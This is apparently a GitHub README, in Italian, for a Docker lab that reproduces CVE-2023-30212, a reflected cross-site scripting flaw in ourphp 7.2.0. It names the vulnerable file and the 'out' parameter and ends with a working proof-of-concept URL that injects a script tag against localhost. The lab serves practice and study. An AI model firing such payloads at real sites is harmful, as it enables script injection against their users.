rishipatidar/cve-2023-30212-poc-docker-fileQuesto repository fornisce un container Docker per simulare la vulnerabilità CVE-2023-30212, permettendoti di esercitarti e comprenderne l'impatto. Include una guida completa per aiutarti a configurare il container sul tuo computer. È inclusa anche la documentazione del processo di creazione del Docker.
| Fornitore | Prodotto | Versione |
|---|---|---|
| ourphp | ourphp | 7.2.0 |
Per installare OURPHP <= 7.2.0 in Docker puoi usare la guida per installare Docker a scopo di pratica.
# ourphp 7.2.0 version has a vulnerability to XSS (Cross-Site Scripting).
# In the file /client/manage/ourphp_out.php, there is a direct echo functionality that, along with controllable variables, can enable attackers to execute XSS code.When the ourphp_admin parameter is set to "logout," we echo a controllable variable called "out."
# To exploit this, we prepend a script tag and close it, forming our payload.This vulnerability can be exploited through the "out" parameter by injecting the following script: "</script><script>alert(xss)</script>"
# After completing the setup of the docker directly. Access the following path :
http://localhost/client/manage/ourphp_out.php?ourphp_admin=logout&out=</script><script>alert(`xss`)</script>
# </script><script>alert(`xss`)</script>
